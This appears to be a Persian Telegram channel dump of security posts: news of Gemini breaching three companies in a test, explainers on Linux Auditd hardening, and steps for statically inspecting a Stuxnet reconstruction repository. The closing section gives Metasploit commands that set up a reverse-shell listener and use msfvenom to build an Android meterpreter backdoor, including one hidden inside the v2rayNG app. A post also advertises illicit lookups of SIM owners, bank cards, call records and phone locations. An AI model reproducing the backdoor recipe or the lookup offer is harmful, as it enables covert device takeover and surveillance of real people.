⭕️ 𝙱𝚊𝚗𝚗 𝚃𝚎𝚕 𝙾𝚏𝚏𝚒𝚌𝚒𝚊𝚕

جمنای در آزمایش امنیت سایبری، سه شرکت را هک کرد گوگل اعلام کرد «جمینای» در جریان یک آزمایش امنیت سایبری، به‌طور خودکار به سه شرکت نفوذ کرده است؛ رویدادی که به‌گفته این شرکت، می‌تواند نخستین نمونه شناخته‌شده از هک توسط این هوش مصنوعی باشد. هدر ادکینز، معاون مهندسی امنیت گوگل، به بی‌بی‌سی گفت جمینای با استفاده از اطلاعات عمومی اینترنت و حدس‌زدن نام کاربری و رمز عبور، به وب‌سایت‌هایی که بخشی از آزمایش تصور می‌کرد دسترسی پیدا کرد. گوگل اعلام کرده فعالیت جمینای در هر سه مورد متوقف شده و شرکت‌های هدف نیز از این نفوذها مطلع شده‌اند.

آیا مهاجم دارای دسترسی Root می‌تواند Immutable Rules را تغییر دهد؟ یکی از قابلیت‌های مهم Auditd در لینوکس، قفل‌کردن تنظیمات ممیزی با دستور -e 2 است. پس از فعال‌شدن این وضعیت، قوانین Audit موجود در Kernel به حالت Immutable درمی‌آیند؛ یعنی تا زمان راه‌اندازی مجدد سیستم، حتی کاربر root نیز نمی‌تواند از طریق روش‌های معمول Rule جدیدی اضافه کند، قوانین موجود را حذف کند یا Audit را غیرفعال سازد. در این وضعیت، فرمان‌هایی مانند auditctl -D یا auditctl -e 0 توسط Kernel رد می‌شوند. این قابلیت مانع مهمی در برابر مهاجمی است که پس از دسترسی ممتاز، قصد دارد ثبت فعالیت‌های خود را متوقف کند. بااین‌حال، Immutable Rules به معنی مصونیت کامل Auditd در برابر مهاجم Root نیست. مهاجم همچنان ممکن است فایل‌های موجود در /etc/audit/rules.d/ را تغییر دهد تا پس از Reboot، قوانین ضعیف‌تر یا ناقصی بارگذاری شوند. او همچنین می‌تواند تنظیمات Boot را هدف قرار دهد، فضای دیسک را پر کند، به Audit Backlog فشار وارد سازد یا فایل‌های لاگ محلی را حذف کند. در صورت تسلط بر Kernel یا Boot Chain نیز امکان دورزدن کنترل‌های ممیزی افزایش می‌یابد. بنابراین Immutable Rules صرفاً پیکربندی فعال Audit در Kernel را طی Boot جاری قفل می‌کنند؛ نه اینکه تمام اجزای ثبت و نگهداری شواهد را غیرقابل‌دست‌کاری سازند. برای ایجاد دفاع مؤثر، باید این قابلیت با ارسال فوری لاگ‌ها به SIEM یا سامانه راه دور، Secure Boot، حفاظت از Bootloader، کنترل دسترسی Root، پایش تغییر فایل‌های Audit و هشدار درباره Reboot، توقف سرویس، پرشدن Backlog و Lost Events ترکیب شود. Immutable Rules یک لایه دفاعی ارزشمند است، نه راهکاری مستقل و شکست‌ناپذیر. **فشار به Audit Backlog یعنی رویدادهای ممیزی با سرعتی بیشتر از توان پردازش Auditd تولید شوند و صف موقت آن در Kernel پر شود.

چرا ممکن است از Auditd ناامید شویم؟ ابزار Auditd یکی از مهم‌ترین ابزارهای ممیزی امنیتی در لینوکس است؛ اما اگر با انتظار یک EDR کامل یا نسخه لینوکسی Sysmon به سراغ آن برویم، احتمالاً ناامید خواهیم شد. نخستین محدودیت Auditd این است که فقط رویدادهایی را ثبت می‌کند که از قبل برای آن‌ها Rule مناسبی تعریف شده باشد. اگر پس از وقوع حادثه متوجه شویم اجرای فرمان‌ها، تغییر یک فایل یا فعالیت خاصی زیر نظر نبوده است، Auditd نمی‌تواند گذشته ثبت‌نشده را بازسازی کند. مشکل دیگر، حجم و پیچیدگی داده‌هاست. فعال‌کردن قواعد گسترده، به‌ویژه برای System Callها، می‌تواند میلیون‌ها رویداد ایجاد کند. از طرف دیگر، یک فعالیت ساده ممکن است در چند رکورد مانند SYSCALL، EXECVE، PATH و CWD پراکنده شود. تبدیل این اطلاعات خام به یک روایت قابل‌فهم، به Parsing، Normalization و Correlation نیاز دارد. پرشدن Backlog، کمبود فضای دیسک یا تنظیمات نامناسب Log Rotation نیز ممکن است باعث ازدست‌رفتن رویدادها شود. مهاجمی که به سطح Root دست یافته است نیز احتمالاً تلاش می‌کند سرویس را متوقف، Rules را تغییر یا لاگ‌ها را پاک کند. ابزار Auditd ابزار کشف تهدید آماده‌ای نیست؛ بلکه یک منبع تله‌متری و ممیزی Kernelمحور است. ارزش واقعی آن زمانی آشکار می‌شود که قواعد مبتنی بر ریسک، پایش سلامت، Immutable Rules، ذخیره‌سازی امن و ارسال متمرکز رویدادها به SIEM در کنار آن قرار گیرد. بنابراین ناامیدی از Auditd معمولاً از ضعف ابزار ناشی نمی‌شود؛ بلکه نتیجه انتظار نادرست یا طراحی ناکافی است.

ابزار Auditd؛ ابزار ممیزی امنیتی در لینوکس ابزار Auditd سرویس اصلی ممیزی امنیتی در لینوکس است که رویدادها را از Linux Audit Framework در سطح Kernel دریافت و ثبت می‌کند. این ابزار کمک می‌کند مشخص شود چه کاربری، در چه زمانی، با کدام پردازش و شناسه کاربری، چه عملی را روی کدام منبع انجام داده است. با تعریف قواعد ممیزی می‌توان اجرای برنامه‌ها و فراخوانی‌های سیستمی مانند execve، تغییر فایل‌های حساس، اصلاح مجوزها، دسترسی‌های ناموفق، تغییر حساب‌های کاربری و فعالیت کاربران ممتاز را رصد کرد. رویدادها معمولاً در فایل /var/log/audit/audit.log ذخیره می‌شوند. ابزار auditctl برای مشاهده و اعمال موقت قواعد به‌کار می‌رود؛ اما قواعد پایدار معمولاً در مسیر /etc/audit/rules.d/ تعریف و هنگام راه‌اندازی بارگذاری می‌شوند. همچنین ausearch برای جست‌وجوی رخدادها و aureport برای تهیه گزارش‌های خلاصه کاربرد دارد. برای نمونه، نظارت بر /etc/passwd می‌تواند تغییر حساب‌های کاربری را آشکار کند. البته یک رخداد ممکن است در چند رکورد مانند SYSCALL، EXECVE، PATH و CWD ثبت شود که با شناسه مشترک به یکدیگر مرتبط‌اند. قواعد بیش‌ازحد گسترده، حجم لاگ و سربار سیستم را افزایش می‌دهند؛ بنابراین باید مبتنی بر ریسک طراحی شوند. محافظت از لاگ‌ها، کنترل توقف سرویس، مدیریت فضای ذخیره‌سازی و ارسال رویدادها به SIEM نیز ضروری است. ارزش فارنزیکی Auditd مستقیماً به کیفیت قواعدی وابسته است که پیش از وقوع حادثه فعال شده‌اند.

موساد یکی از شناخته شده ترین و قوی ترین سازمان های اطلاعاتی دنیاست اما قدرت واقعی این سازمان فقط به عملیات مخفی محدود نمیشود!

استعلام پلاک (با کدملی) استعلام شماره بدنه و سند خودرو استعلام پایان خدمت سربازی استعلام اطلاعات کارت بانکی استعلام مشخصات مالک سیمکارت استعلام کلیه وسایل نقلیه دارای پلاک استعلام وضعیت حیات فرد از ثبت احوال نقطه زنی bts با خطای ۴۰۰ متر استعلام پلاک با پلاک گردش حساب پیدا کردن تمام ریز مکالمات پیدا کردن تمام اطلاعات هویتی هر شخصی فقط از روی چهره استعلام تمام اطلاعات هویتی و فردی Pv @expl4oit @P4l0d

http://github.com/Sadpainy/Stuxnet در رابطه با این لینکی که بالا ارسال شد. کسایی که بلد نیستن این کارارو انجام بدین تو ترمینال

sudo apt update
sudo apt install -y git ripgrep file binutils

git clone https://github.com/Sadpainy/Stuxnet.git
cd Stuxnet

mkdir -p analysis-output

find . -maxdepth 2 -type f | sort > analysis-output/file-list.txt
sha256sum s7otbxsx.dll s7cntlD.scr > analysis-output/hashes.txt
file s7otbxsx.dll s7cntlD.scr > analysis-output/file-types.txt
strings -a s7otbxsx.dll > analysis-output/dll-strings.txt
rg -n -i 'DllMain|WinCC|Step.?7|PLC|rootkit|Siemens' . \
  > analysis-output/code-matches.txt || true

less README.md
less 'TODO - Missing.txt'
less analysis-output/file-list.txt
less analysis-output/file-types.txt
less analysis-output/hashes.txt
less analysis-output/code-matches.txt

less analysis-output/dll-strings.txt

قضیه اینه که این پروژه رو کلون کنی بعدش نمی‌تونی مثل یه برنامه معمولی رانش کنی. چون فقط دستور اجرا کم نداره و خود کدش هم هنوز کامل نیست. این مخزن بیشتر واسه اینه که بشینی ساختار استاکس‌نت رو ببینی و تحلیلش کنی. مثلا بخش ارتباطش با سیستم‌های دیگه رو نوشتن ولی ۹ تا از تابع‌های اصلیش فقط اسم دارن و کار خاصی انجام نمی‌دن. چند تا فایل دیگه هم به جای محتوای واقعی فقط یه فایل خالی می‌سازن. یعنی ظاهر بعضی بخش‌ها هست ولی چیزی که باید پشتش اتفاق بیفته هنوز نوشته نشده. بخش روت‌کیتش هم همینه. اسم تابع‌ها هست ولی کار مخفی کردن فایل‌ها و چیزای دیگه کامل نیست. بخش مربوط به پروژه‌های زیمنس هم می‌تونه یه سری کار ساده با فایل و پوشه انجام بده ولی نمی‌تونه خودش پروژه‌ها رو پیدا کنه و همه مراحل رو پشت سر هم انجام بده. یه بخش دیگه فقط می‌تونه بعضی فایل‌ها رو بخونه و بنویسه ولی رمزگشایی و بارگذاری اصلیش رو نداره. یه بخش هم بخشی از اطلاعات پروژه رو می‌خونه ولی ادامه کارش ناقصه. تازه نویسنده گفته بعضی قسمت‌ها رو هم از روی اطلاعات موجود حدس زده. واسه همین دستورهایی که بالاتر گفتم فقط مخزن رو می‌گیرن و کمک می‌کنن فایل‌هاشو ببینی. با اونا استاکس‌نت ران نمی‌شه و از کد فعلی این مخزن هم یه نسخه کامل و آماده اجرا درنمیاد.

کالی جای بزرگیه! usr/share/ — اینجا یه جور انبار مخفی کالیه کلی دیتای ابزارها wordlist، template، payload نمونه rule و فایل‌های کمکی ابزارها این تو پخش‌وپلاس. خیلیا ابزار رو اجرا می‌کنن ولی اصلاً داخل پوشه‌هاش سرک نمی‌کشن /usr/share/wordlists/ — فقط rockyou نیست؛ بعضی پکیج‌هایی که نصب می‌کنی لیست‌های مخصوص خودشون رو هم جاهای مختلف /usr/share می‌ریزن /usr/share/seclists/ — اگه SecLists نصب باشه، یه معدن دیتاست برای لَب و تست امنیته Discovery، fuzzing، username/password test data و کلی دسته‌بندی دیگه

sudo msfconsole

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set LHOST [آیپی شما]

set LPORT 4444

exploit -j

ifconfig

msfvenom -p android/meterpreter/reverse_tcp LHOST=[آیپی شما] LPORT=4444 -o ~/backdoor.apk

msfvenom -p android/meterpreter/reverse_tcp -x /path/to/v2rayNG.apk LHOST=[آیپی شما] LPORT=4444 -o /path/to/backdoored.apk

@ZeroByteCyberLab

@wesker_07